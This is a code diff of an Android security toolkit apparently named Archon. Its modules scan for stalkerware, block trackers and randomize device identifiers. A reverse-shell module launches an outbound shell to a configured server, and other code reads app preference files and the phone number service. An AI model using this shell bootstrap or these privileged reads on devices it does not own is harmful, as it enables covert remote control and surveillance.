"cat /data/data/$gmsgPkg/shared_prefs/com.google.android.apps.messaging_preferences.xml 2>/dev/null"
)
if (!gmsgPrefs.startsWith("ERROR") && gmsgPrefs.isNotBlank()) {
// Extract RCS-related prefs
val rcsPrefs = mutableMapOf<String, String>()
for (match in Regex("<(string|boolean|int|long)\\s+name=\"([^\"]*rcs[^\"]*)\">([^<]*)<").findAll(gmsgPrefs, 0)) {
rcsPrefs[match.groupValues[2]] = match.groupValues[3]
}
info["gmsg_rcs_prefs"] = rcsPrefs
}
// Phone number / MSISDN
val phoneOutput = executeCommand("service call iphonesubinfo 15 2>/dev/null")
info["phone_service_response"] = phoneOutput.take(200)
// Google Messages version
info["google_messages"] = getGoogleMessagesInfo()
return info
}
/**
* Parse a `content query` output row into a map.
*/
private fun parseContentRow(line: String): MutableMap<String, Any> {
val row = mutableMapOf<String, Any>()
val payload = line.substringAfter(Regex("Row:\\s*\\d+\\s*").find(line)?.value ?: "")
val fields = payload.split(Regex(",\\s+(?=[a-zA-Z_]+=)"))
for (field in fields) {
val eqPos = field.indexOf('=')
if (eqPos == -1) continue
val key = field.substring(0, eqPos).trim()
val value = field.substring(eqPos + 1).trim()
row[key] = if (value == "NULL") "" else value
}
return row
}
}

View File

@@ -0,0 +1,38 @@
package com.darkhal.archon.module
import android.content.Context
/**
* Interface for Archon extension modules.
* Modules provide security/privacy actions that run through PrivilegeManager.
*/
interface ArchonModule {
val id: String
val name: String
val description: String
val version: String
fun getActions(): List<ModuleAction>
fun executeAction(actionId: String, context: Context): ModuleResult
fun getStatus(context: Context): ModuleStatus
}
data class ModuleAction(
val id: String,
val name: String,
val description: String,
val privilegeRequired: Boolean = true,
val rootOnly: Boolean = false
)
data class ModuleResult(
val success: Boolean,
val output: String,
val details: List<String> = emptyList()
)
data class ModuleStatus(
val active: Boolean,
val summary: String,
val details: Map<String, String> = emptyMap()
)

View File

@@ -0,0 +1,330 @@
package com.darkhal.archon.module
import android.content.Context
import com.darkhal.archon.util.PrivilegeManager
/**
* Tracking Honeypot module — blocks ad trackers, resets IDs, fakes device fingerprints.
* Ported from AUTARCH core/android_protect.py honeypot section.
*
* Tier 1: ADB-level (no root) — ad ID, DNS, scanning, diagnostics
* Tier 2: ADB-level (app-specific) — restrict trackers, revoke perms, clear data
* Tier 3: Root only — hosts blocklist, iptables, fake location, randomize identity
*/
class HoneypotModule : ArchonModule {
override val id = "honeypot"
override val name = "Tracking Honeypot"
override val description = "Block trackers & fake device fingerprint data"
override val version = "1.0"
// Well-known tracker packages
private val knownTrackers = listOf(
"com.google.android.gms", // Google Play Services (partial)
"com.facebook.katana", // Facebook
"com.facebook.orca", // Messenger
"com.instagram.android", // Instagram
"com.zhiliaoapp.musically", // TikTok
"com.twitter.android", // Twitter/X
"com.snapchat.android", // Snapchat
"com.amazon.mShop.android.shopping", // Amazon
)
override fun getActions(): List<ModuleAction> = listOf(
// Tier 1: ADB-level, no root
ModuleAction("reset_ad_id", "Reset Ad ID", "Delete and regenerate advertising ID"),
ModuleAction("opt_out_tracking", "Opt Out Tracking", "Enable limit_ad_tracking system setting"),
ModuleAction("set_private_dns", "Set Private DNS", "Configure DNS-over-TLS (blocks tracker domains)"),
ModuleAction("disable_scanning", "Disable Scanning", "Turn off WiFi/BLE background scanning"),
ModuleAction("disable_diagnostics", "Disable Diagnostics", "Stop sending crash/usage data to Google"),
ModuleAction("harden_all", "Harden All (Tier 1)", "Apply all Tier 1 protections at once"),
// Tier 2: ADB-level, app-specific
ModuleAction("restrict_trackers", "Restrict Trackers", "Deny background activity for known trackers"),
ModuleAction("revoke_tracker_perms", "Revoke Tracker Perms", "Remove location/phone/contacts from trackers"),
ModuleAction("force_stop_trackers", "Force Stop Trackers", "Kill all known tracker apps"),
// Tier 3: Root only
ModuleAction("deploy_hosts", "Deploy Hosts Blocklist", "Block tracker domains via /etc/hosts", rootOnly = true),
ModuleAction("setup_iptables", "Setup Iptables Redirect", "Redirect tracker traffic to honeypot", rootOnly = true),
ModuleAction("randomize_identity", "Randomize Identity", "Change android_id and device fingerprint", rootOnly = true),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when (actionId) {
"reset_ad_id" -> resetAdId()
"opt_out_tracking" -> optOutTracking()
"set_private_dns" -> setPrivateDns()
"disable_scanning" -> disableScanning()
"disable_diagnostics" -> disableDiagnostics()
"harden_all" -> hardenAll()
"restrict_trackers" -> restrictTrackers()
"revoke_tracker_perms" -> revokeTrackerPerms()
"force_stop_trackers" -> forceStopTrackers()
"deploy_hosts" -> deployHostsBlocklist()
"setup_iptables" -> setupIptablesRedirect()
"randomize_identity" -> randomizeIdentity()
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
val method = PrivilegeManager.getAvailableMethod()
val tier = when (method) {
PrivilegeManager.Method.ROOT -> "Tier 1-3 (full)"
PrivilegeManager.Method.ARCHON_SERVER,
PrivilegeManager.Method.LOCAL_ADB,
PrivilegeManager.Method.SERVER_ADB -> "Tier 1-2 (ADB)"
PrivilegeManager.Method.NONE -> "Unavailable"
}
return ModuleStatus(
active = method != PrivilegeManager.Method.NONE,
summary = "Available: $tier"
)
}
// ── Tier 1: ADB-level, system-wide ──────────────────────────────
private fun resetAdId(): ModuleResult {
val cmds = listOf(
"settings delete secure advertising_id",
"settings put secure limit_ad_tracking 1",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Advertising ID reset, tracking limited"
)
}
private fun optOutTracking(): ModuleResult {
val cmds = listOf(
"settings put secure limit_ad_tracking 1",
"settings put global are_app_usage_stats_enabled 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Ad tracking opt-out enabled"
)
}
private fun setPrivateDns(): ModuleResult {
val provider = "dns.adguard-dns.com" // AdGuard DNS blocks trackers
val cmds = listOf(
"settings put global private_dns_mode hostname",
"settings put global private_dns_specifier $provider",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Private DNS set to $provider (tracker blocking)"
)
}
private fun disableScanning(): ModuleResult {
val cmds = listOf(
"settings put global wifi_scan_always_enabled 0",
"settings put global ble_scan_always_enabled 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "WiFi/BLE background scanning disabled"
)
}
private fun disableDiagnostics(): ModuleResult {
val cmds = listOf(
"settings put global send_action_app_error 0",
"settings put secure send_action_app_error 0",
"settings put global upload_apk_enable 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Diagnostics and crash reporting disabled"
)
}
private fun hardenAll(): ModuleResult {
val actions = listOf(
"Ad ID" to ::resetAdId,
"Tracking" to ::optOutTracking,
"DNS" to ::setPrivateDns,
"Scanning" to ::disableScanning,
"Diagnostics" to ::disableDiagnostics,
)
val details = mutableListOf<String>()
var success = true
for ((name, action) in actions) {
val result = action()
details.add("$name: ${result.output}")
if (!result.success) success = false
}
return ModuleResult(
success = success,
output = "Applied ${actions.size} Tier 1 protections",
details = details
)
}
// ── Tier 2: ADB-level, app-specific ─────────────────────────────
private fun restrictTrackers(): ModuleResult {
val details = mutableListOf<String>()
var restricted = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (check.stdout.contains(pkg)) {
val r = PrivilegeManager.execute("cmd appops set $pkg RUN_IN_BACKGROUND deny")
if (r.exitCode == 0) {
restricted++
details.add("Restricted: $pkg")
}
}
}
return ModuleResult(
success = true,
output = "$restricted tracker(s) restricted from background",
details = details
)
}
private fun revokeTrackerPerms(): ModuleResult {
val dangerousPerms = listOf(
"android.permission.ACCESS_FINE_LOCATION",
"android.permission.ACCESS_COARSE_LOCATION",
"android.permission.READ_PHONE_STATE",
"android.permission.READ_CONTACTS",
"android.permission.RECORD_AUDIO",
"android.permission.CAMERA",
)
val details = mutableListOf<String>()
var totalRevoked = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (!check.stdout.contains(pkg)) continue
var pkgRevoked = 0
for (perm in dangerousPerms) {
val r = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
if (r.exitCode == 0) pkgRevoked++
}
if (pkgRevoked > 0) {
totalRevoked += pkgRevoked
details.add("$pkg: revoked $pkgRevoked permissions")
}
}
return ModuleResult(
success = true,
output = "Revoked $totalRevoked permissions from trackers",
details = details
)
}
private fun forceStopTrackers(): ModuleResult {
val details = mutableListOf<String>()
var stopped = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (check.stdout.contains(pkg)) {
PrivilegeManager.execute("am force-stop $pkg")
stopped++
details.add("Stopped: $pkg")
}
}
return ModuleResult(
success = true,
output = "$stopped tracker(s) force-stopped",
details = details
)
}
// ── Tier 3: Root only ───────────────────────────────────────────
private fun deployHostsBlocklist(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for hosts file modification")
}
val trackerDomains = listOf(
"graph.facebook.com", "pixel.facebook.com", "an.facebook.com",
"analytics.google.com", "adservice.google.com", "pagead2.googlesyndication.com",
"analytics.tiktok.com", "log.byteoversea.com",
"graph.instagram.com",
"ads-api.twitter.com", "analytics.twitter.com",
"tr.snapchat.com", "sc-analytics.appspot.com",
)
val hostsEntries = trackerDomains.joinToString("\n") { "0.0.0.0 $it" }
val cmds = listOf(
"mount -o remount,rw /system 2>/dev/null || true",
"cp /system/etc/hosts /system/etc/hosts.bak 2>/dev/null || true",
"echo '# AUTARCH Honeypot blocklist\n$hostsEntries' >> /system/etc/hosts",
"mount -o remount,ro /system 2>/dev/null || true",
)
for (cmd in cmds) {
PrivilegeManager.execute(cmd)
}
return ModuleResult(
success = true,
output = "Deployed ${trackerDomains.size} tracker blocks to /system/etc/hosts"
)
}
private fun setupIptablesRedirect(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for iptables")
}
val cmds = listOf(
"iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null || true",
"iptables -t nat -F AUTARCH_HONEYPOT",
// Redirect known tracker IPs to localhost (honeypot)
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 157.240.0.0/16 -j REDIRECT --to-port 8443",
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 31.13.0.0/16 -j REDIRECT --to-port 8443",
"iptables -t nat -A OUTPUT -j AUTARCH_HONEYPOT",
)
val details = mutableListOf<String>()
for (cmd in cmds) {
val r = PrivilegeManager.execute(cmd)
if (r.exitCode == 0) details.add("OK: ${cmd.take(60)}")
}
return ModuleResult(
success = true,
output = "Iptables honeypot chain configured",
details = details
)
}
private fun randomizeIdentity(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for identity randomization")
}
val randomId = (1..16).map { "0123456789abcdef".random() }.joinToString("")
val cmds = listOf(
"settings put secure android_id $randomId",
"settings delete secure advertising_id",
"settings put secure limit_ad_tracking 1",
)
val details = mutableListOf<String>()
for (cmd in cmds) {
val r = PrivilegeManager.execute(cmd)
details.add("${if (r.exitCode == 0) "OK" else "FAIL"}: ${cmd.take(50)}")
}
return ModuleResult(
success = true,
output = "Identity randomized (android_id=$randomId)",
details = details
)
}
}

View File

@@ -0,0 +1,41 @@
package com.darkhal.archon.module
import android.content.Context
import android.util.Log
/**
* Central registry for Archon modules.
* Modules register at init time and can be discovered/invoked by the UI.
*/
object ModuleManager {
private const val TAG = "ModuleManager"
private val modules = mutableListOf<ArchonModule>()
private var initialized = false
fun init() {
if (initialized) return
register(ShieldModule())
register(HoneypotModule())
register(ReverseShellModule())
initialized = true
Log.i(TAG, "Initialized with ${modules.size} modules")
}
fun register(module: ArchonModule) {
if (modules.none { it.id == module.id }) {
modules.add(module)
Log.i(TAG, "Registered module: ${module.id} (${module.name})")
}
}
fun getAll(): List<ArchonModule> = modules.toList()
fun get(id: String): ArchonModule? = modules.find { it.id == id }
fun executeAction(moduleId: String, actionId: String, context: Context): ModuleResult {
val module = get(moduleId)
?: return ModuleResult(false, "Module not found: $moduleId")
return module.executeAction(actionId, context)
}
}

View File

@@ -0,0 +1,274 @@
package com.darkhal.archon.module
import android.content.Context
import android.util.Log
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.util.PrefsManager
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.OutputStreamWriter
import java.io.PrintWriter
import java.net.InetSocketAddress
import java.net.Socket
import java.util.UUID
/**
* Reverse Shell module — connects back to the AUTARCH server for remote device management.
*
* SAFETY GATES:
* 1. Disabled by default — must be explicitly enabled
* 2. Three warning prompts before enabling (enforced in UI)
* 3. Kill switch — disconnect at any time from app or by force-stopping
* 4. Audit log — all commands logged at /data/local/tmp/archon_shell.log
* 5. Auto-timeout — connection drops after configurable time (default 30 min)
* 6. Server verification — only connects to configured AUTARCH server IP
* 7. Token auth — random token per session
*
* The shell process (ArchonShell.java) runs via app_process at UID 2000,
* same as ArchonServer. It connects OUTBOUND to AUTARCH's RevShellListener.
*/
class ReverseShellModule : ArchonModule {
override val id = "revshell"
override val name = "Reverse Shell"
override val description = "Remote shell connection to AUTARCH server for device investigation"
override val version = "1.0"
companion object {
private const val TAG = "ReverseShellModule"
private const val PREFS_NAME = "archon_revshell"
private const val KEY_ENABLED = "revshell_enabled"
private const val KEY_WARNING_ACCEPTED = "revshell_warnings_accepted"
private const val KEY_PORT = "revshell_port"
private const val KEY_TIMEOUT = "revshell_timeout_min"
private const val KEY_SESSION_TOKEN = "revshell_session_token"
private const val DEFAULT_PORT = 17322
private const val DEFAULT_TIMEOUT = 30 // minutes
private const val SHELL_PROCESS_NAME = "archon_shell"
// Warning messages shown before enabling (UI enforces showing all 3)
val WARNINGS = listOf(
"This enables a reverse shell connection to your AUTARCH server. " +
"This gives remote shell access (UID 2000) to this device.",
"Only enable this on devices YOU own. Never enable on someone else's device. " +
"This is a defensive tool for investigating threats on your own phone.",
"The reverse shell will connect to your configured AUTARCH server. " +
"You can disable it at any time from this screen or by force-stopping the app."
)
}
override fun getActions(): List<ModuleAction> = listOf(
ModuleAction("enable", "Enable", "Accept warnings and enable reverse shell", privilegeRequired = false),
ModuleAction("disable", "Disable", "Disable reverse shell and kill active connections", privilegeRequired = false),
ModuleAction("connect", "Connect", "Start reverse shell to AUTARCH server"),
ModuleAction("disconnect", "Disconnect", "Stop active reverse shell"),
ModuleAction("status", "Status", "Check connection status", privilegeRequired = false),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when (actionId) {
"enable" -> enable(context)
"disable" -> disable(context)
"connect" -> connect(context)
"disconnect" -> disconnect(context)
"status" -> status(context)
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val enabled = prefs.getBoolean(KEY_ENABLED, false)
val connected = isShellRunning()
val summary = when {
connected -> "Connected to AUTARCH"
enabled -> "Enabled — not connected"
else -> "Disabled"
}
return ModuleStatus(
active = connected,
summary = summary,
details = mapOf(
"enabled" to enabled.toString(),
"connected" to connected.toString(),
"port" to prefs.getInt(KEY_PORT, DEFAULT_PORT).toString(),
"timeout" to "${prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)} min"
)
)
}
// ── Actions ─────────────────────────────────────────────────────
private fun enable(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
// Check if warnings were accepted (UI sets this after showing all 3)
if (!prefs.getBoolean(KEY_WARNING_ACCEPTED, false)) {
return ModuleResult(
false,
"Warnings not accepted. Use the UI to enable — all 3 safety warnings must be acknowledged.",
WARNINGS
)
}
prefs.edit().putBoolean(KEY_ENABLED, true).apply()
Log.i(TAG, "Reverse shell ENABLED")
return ModuleResult(true, "Reverse shell enabled. Use 'connect' to start a session.")
}
private fun disable(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
// Kill any active shell first
if (isShellRunning()) {
killShell()
}
prefs.edit()
.putBoolean(KEY_ENABLED, false)
.putBoolean(KEY_WARNING_ACCEPTED, false)
.remove(KEY_SESSION_TOKEN)
.apply()
Log.i(TAG, "Reverse shell DISABLED")
return ModuleResult(true, "Reverse shell disabled. All connections terminated.")
}
private fun connect(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
if (!prefs.getBoolean(KEY_ENABLED, false)) {
return ModuleResult(false, "Reverse shell is disabled. Enable it first.")
}
if (isShellRunning()) {
return ModuleResult(false, "Shell is already connected. Disconnect first.")
}
// Get server IP from main prefs
val serverIp = PrefsManager.getServerIp(context)
if (serverIp.isEmpty()) {
return ModuleResult(false, "No AUTARCH server IP configured. Set it in Settings.")
}
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
// Generate session token
val token = UUID.randomUUID().toString().replace("-", "").take(32)
prefs.edit().putString(KEY_SESSION_TOKEN, token).apply()
// Get APK path for app_process bootstrap
val apkPath = context.applicationInfo.sourceDir
if (apkPath.isNullOrEmpty()) {
return ModuleResult(false, "Could not determine APK path")
}
// Build bootstrap command (no --nice-name — causes abort on GrapheneOS/some ROMs)
val bootstrapCmd = buildString {
append("TMPDIR=/data/local/tmp ")
append("CLASSPATH='$apkPath' ")
append("/system/bin/app_process /system/bin ")
append("com.darkhal.archon.server.ArchonShell ")
append("$serverIp $port $token $timeout")
}
val fullCmd = "nohup sh -c \"$bootstrapCmd\" >> /data/local/tmp/archon_shell.log 2>&1 & echo started"
Log.i(TAG, "Starting reverse shell to $serverIp:$port (timeout: ${timeout}m)")
// Execute via LocalAdbClient (same as ArchonServer bootstrap)
val result = if (LocalAdbClient.isConnected()) {
LocalAdbClient.execute(fullCmd)
} else {
return ModuleResult(false, "No ADB connection — pair via Wireless Debugging first")
}
if (result.exitCode != 0 && !result.stdout.contains("started")) {
return ModuleResult(false, "Failed to start shell: ${result.stderr}")
}
// Wait briefly for connection to establish
Thread.sleep(2000)
return if (isShellRunning()) {
ModuleResult(true, "Connected to $serverIp:$port (timeout: ${timeout}m)")
} else {
ModuleResult(false, "Shell process started but may not have connected yet. Check server logs.")
}
}
private fun disconnect(context: Context): ModuleResult {
if (!isShellRunning()) {
return ModuleResult(true, "No active shell connection")
}
killShell()
context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
.edit().remove(KEY_SESSION_TOKEN).apply()
Thread.sleep(500)
return if (!isShellRunning()) {
ModuleResult(true, "Shell disconnected")
} else {
ModuleResult(false, "Shell process may still be running — try force-stopping the app")
}
}
private fun status(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val enabled = prefs.getBoolean(KEY_ENABLED, false)
val connected = isShellRunning()
val serverIp = PrefsManager.getServerIp(context)
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
val details = mutableListOf<String>()
details.add("Enabled: $enabled")
details.add("Connected: $connected")
details.add("Server: $serverIp:$port")
details.add("Timeout: ${timeout} minutes")
if (connected) {
// Try to read the log tail
val logTail = try {
val p = Runtime.getRuntime().exec(arrayOf("sh", "-c", "tail -5 /data/local/tmp/archon_shell.log 2>/dev/null"))
p.inputStream.bufferedReader().readText().trim()
} catch (e: Exception) { "" }
if (logTail.isNotEmpty()) {
details.add("--- Recent log ---")
details.add(logTail)
}
}
return ModuleResult(
success = true,
output = if (connected) "Connected to $serverIp:$port" else if (enabled) "Enabled — not connected" else "Disabled",
details = details
)
}
// ── Internal ────────────────────────────────────────────────────
private fun isShellRunning(): Boolean {
return try {
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", "pgrep -f $SHELL_PROCESS_NAME"))
val output = process.inputStream.bufferedReader().readText().trim()
process.waitFor()
output.isNotEmpty()
} catch (e: Exception) {
false
}
}
private fun killShell() {
try {
Runtime.getRuntime().exec(arrayOf("sh", "-c", "pkill -f $SHELL_PROCESS_NAME"))
Log.i(TAG, "Killed reverse shell process")
} catch (e: Exception) {
Log.e(TAG, "Failed to kill shell", e)
}
}
}

View File

@@ -0,0 +1,319 @@
package com.darkhal.archon.module
import android.content.Context
import com.darkhal.archon.util.PrivilegeManager
/**
* Protection Shield module — scans for and removes stalkerware/spyware.
* Ported from AUTARCH core/android_protect.py.
*
* All commands run through PrivilegeManager → ArchonServer (UID 2000).
*/
class ShieldModule : ArchonModule {
override val id = "shield"
override val name = "Protection Shield"
override val description = "Scan & remove stalkerware, spyware, and surveillance tools"
override val version = "1.0"
// Known stalkerware/spyware package patterns
private val stalkerwarePatterns = listOf(
"mspy", "flexispy", "cocospy", "spyzie", "hoverwatch", "eyezy",
"pctattoetool", "thewispy", "umobix", "xnspy", "cerberus",
"trackview", "spyera", "mobile.tracker", "spy.phone", "phone.monitor",
"gps.tracker.spy", "spyapp", "phonetracker", "stalkerware",
"keylogger", "screenrecorder.secret", "hidden.camera",
"com.android.providers.telephony.backup", // Fake system package
"com.system.service", "com.android.system.manager", // Common disguises
)
// Suspicious permissions that stalkerware typically uses
private val suspiciousPerms = listOf(
"android.permission.READ_CALL_LOG",
"android.permission.READ_SMS",
"android.permission.READ_CONTACTS",
"android.permission.RECORD_AUDIO",
"android.permission.CAMERA",
"android.permission.ACCESS_FINE_LOCATION",
"android.permission.READ_EXTERNAL_STORAGE",
"android.permission.BIND_ACCESSIBILITY_SERVICE",
"android.permission.BIND_DEVICE_ADMIN",
"android.permission.PACKAGE_USAGE_STATS",
"android.permission.SYSTEM_ALERT_WINDOW",
)
override fun getActions(): List<ModuleAction> = listOf(
ModuleAction("full_scan", "Full Scan", "Run all security scans"),
ModuleAction("scan_packages", "Scan Packages", "Check installed apps against stalkerware database"),
ModuleAction("scan_permissions", "Scan Permissions", "Find apps with suspicious permission combos"),
ModuleAction("scan_device_admins", "Scan Device Admins", "List active device administrators"),
ModuleAction("scan_accessibility", "Scan Accessibility", "Check enabled accessibility services"),
ModuleAction("scan_certificates", "Scan Certificates", "Check for user-installed CA certificates"),
ModuleAction("scan_network", "Scan Network", "Check proxy, DNS, VPN settings"),
ModuleAction("disable_app", "Disable App", "Disable a suspicious package (pm disable-user)"),
ModuleAction("uninstall_app", "Uninstall App", "Uninstall a suspicious package"),
ModuleAction("revoke_permissions", "Revoke Permissions", "Revoke dangerous permissions from a package"),
ModuleAction("remove_device_admin", "Remove Device Admin", "Remove an active device admin component"),
ModuleAction("clear_proxy", "Clear Proxy", "Remove HTTP proxy settings"),
ModuleAction("remove_certificate", "Remove Certificate", "Remove a user-installed CA certificate"),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when {
actionId == "full_scan" -> fullScan(context)
actionId == "scan_packages" -> scanPackages()
actionId == "scan_permissions" -> scanPermissions()
actionId == "scan_device_admins" -> scanDeviceAdmins()
actionId == "scan_accessibility" -> scanAccessibility()
actionId == "scan_certificates" -> scanCertificates()
actionId == "scan_network" -> scanNetwork()
actionId == "disable_app" -> ModuleResult(false, "Specify package: use disable_app:<package>")
actionId == "uninstall_app" -> ModuleResult(false, "Specify package: use uninstall_app:<package>")
actionId == "clear_proxy" -> clearProxy()
actionId.startsWith("disable_app:") -> disableApp(actionId.substringAfter(":"))
actionId.startsWith("uninstall_app:") -> uninstallApp(actionId.substringAfter(":"))
actionId.startsWith("revoke_permissions:") -> revokePermissions(actionId.substringAfter(":"))
actionId.startsWith("remove_device_admin:") -> removeDeviceAdmin(actionId.substringAfter(":"))
actionId.startsWith("remove_certificate:") -> removeCertificate(actionId.substringAfter(":"))
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
return ModuleStatus(
active = PrivilegeManager.isReady(),
summary = if (PrivilegeManager.isReady()) "Ready to scan" else "Needs privilege setup"
)
}
// ── Scan actions ────────────────────────────────────────────────
private fun fullScan(context: Context): ModuleResult {
val results = mutableListOf<String>()
var threats = 0
val scans = listOf(
"Packages" to ::scanPackages,
"Permissions" to ::scanPermissions,
"Device Admins" to ::scanDeviceAdmins,
"Accessibility" to ::scanAccessibility,
"Certificates" to ::scanCertificates,
"Network" to ::scanNetwork,
)
for ((name, scan) in scans) {
val result = scan()
results.add("=== $name ===")
results.add(result.output)
if (result.details.isNotEmpty()) {
threats += result.details.size
results.addAll(result.details)
}
}
return ModuleResult(
success = true,
output = if (threats > 0) "$threats potential threat(s) found" else "No threats detected",
details = results
)
}
private fun scanPackages(): ModuleResult {
val result = PrivilegeManager.execute("pm list packages")
if (result.exitCode != 0) {
return ModuleResult(false, "Failed to list packages: ${result.stderr}")
}
val packages = result.stdout.lines()
.filter { it.startsWith("package:") }
.map { it.removePrefix("package:") }
val found = mutableListOf<String>()
for (pkg in packages) {
val lower = pkg.lowercase()
for (pattern in stalkerwarePatterns) {
if (lower.contains(pattern)) {
found.add("[!] $pkg (matches: $pattern)")
break
}
}
}
return ModuleResult(
success = true,
output = "Scanned ${packages.size} packages, ${found.size} suspicious",
details = found
)
}
private fun scanPermissions(): ModuleResult {
// Get packages with dangerous permissions
val result = PrivilegeManager.execute(
"pm list packages -f | head -500"
)
if (result.exitCode != 0) {
return ModuleResult(false, "Failed: ${result.stderr}")
}
val packages = result.stdout.lines()
.filter { it.startsWith("package:") }
.map { it.substringAfterLast("=") }
.take(200) // Limit for performance
val suspicious = mutableListOf<String>()
for (pkg in packages) {
val dump = PrivilegeManager.execute("dumpsys package $pkg 2>/dev/null | grep 'android.permission' | head -30")
if (dump.exitCode != 0) continue
val perms = dump.stdout.lines().map { it.trim() }
val dangerousCount = perms.count { line ->
suspiciousPerms.any { perm -> line.contains(perm) }
}
if (dangerousCount >= 5) {
suspicious.add("[!] $pkg has $dangerousCount suspicious permissions")
}
}
return ModuleResult(
success = true,
output = "Checked permissions on ${packages.size} packages, ${suspicious.size} suspicious",
details = suspicious
)
}
private fun scanDeviceAdmins(): ModuleResult {
val result = PrivilegeManager.execute("dumpsys device_policy 2>/dev/null | grep -A 2 'Admin\\|DeviceAdminInfo'")
if (result.exitCode != 0 && result.stdout.isEmpty()) {
return ModuleResult(true, "No device admins found or could not query", emptyList())
}
val admins = result.stdout.lines().filter { it.isNotBlank() }
return ModuleResult(
success = true,
output = "${admins.size} device admin entries found",
details = admins.map { it.trim() }
)
}
private fun scanAccessibility(): ModuleResult {
val result = PrivilegeManager.execute("settings get secure enabled_accessibility_services")
val services = result.stdout.trim()
return if (services.isNotEmpty() && services != "null") {
val list = services.split(":").filter { it.isNotBlank() }
ModuleResult(
success = true,
output = "${list.size} accessibility service(s) enabled",
details = list.map { "[!] $it" }
)
} else {
ModuleResult(true, "No accessibility services enabled", emptyList())
}
}
private fun scanCertificates(): ModuleResult {
val result = PrivilegeManager.execute("ls /data/misc/user/0/cacerts-added/ 2>/dev/null")
return if (result.exitCode == 0 && result.stdout.isNotBlank()) {
val certs = result.stdout.lines().filter { it.isNotBlank() }
ModuleResult(
success = true,
output = "${certs.size} user-installed CA certificate(s)",
details = certs.map { "[!] Certificate: $it" }
)
} else {
ModuleResult(true, "No user-installed CA certificates", emptyList())
}
}
private fun scanNetwork(): ModuleResult {
val findings = mutableListOf<String>()
// Check HTTP proxy
val proxy = PrivilegeManager.execute("settings get global http_proxy").stdout.trim()
if (proxy.isNotEmpty() && proxy != "null" && proxy != ":0") {
findings.add("[!] HTTP proxy set: $proxy")
}
// Check private DNS
val dnsMode = PrivilegeManager.execute("settings get global private_dns_mode").stdout.trim()
val dnsProvider = PrivilegeManager.execute("settings get global private_dns_specifier").stdout.trim()
if (dnsMode == "hostname" && dnsProvider.isNotEmpty() && dnsProvider != "null") {
findings.add("[i] Private DNS: $dnsProvider (mode: $dnsMode)")
}
// Check VPN always-on
val vpn = PrivilegeManager.execute("settings get secure always_on_vpn_app").stdout.trim()
if (vpn.isNotEmpty() && vpn != "null") {
findings.add("[!] Always-on VPN: $vpn")
}
// Check global proxy pac
val pac = PrivilegeManager.execute("settings get global global_http_proxy_pac").stdout.trim()
if (pac.isNotEmpty() && pac != "null") {
findings.add("[!] Proxy PAC configured: $pac")
}
return ModuleResult(
success = true,
output = if (findings.isEmpty()) "Network settings clean" else "${findings.size} network finding(s)",
details = findings
)
}
// ── Remediation actions ─────────────────────────────────────────
private fun disableApp(pkg: String): ModuleResult {
val result = PrivilegeManager.execute("pm disable-user --user 0 $pkg")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Disabled: $pkg" else "Failed: ${result.stderr}"
)
}
private fun uninstallApp(pkg: String): ModuleResult {
val result = PrivilegeManager.execute("pm uninstall --user 0 $pkg")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Uninstalled: $pkg" else "Failed: ${result.stderr}"
)
}
private fun revokePermissions(pkg: String): ModuleResult {
val revoked = mutableListOf<String>()
for (perm in suspiciousPerms) {
val result = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
if (result.exitCode == 0) revoked.add(perm)
}
return ModuleResult(
success = true,
output = "Revoked ${revoked.size}/${suspiciousPerms.size} permissions from $pkg",
details = revoked.map { "Revoked: $it" }
)
}
private fun removeDeviceAdmin(component: String): ModuleResult {
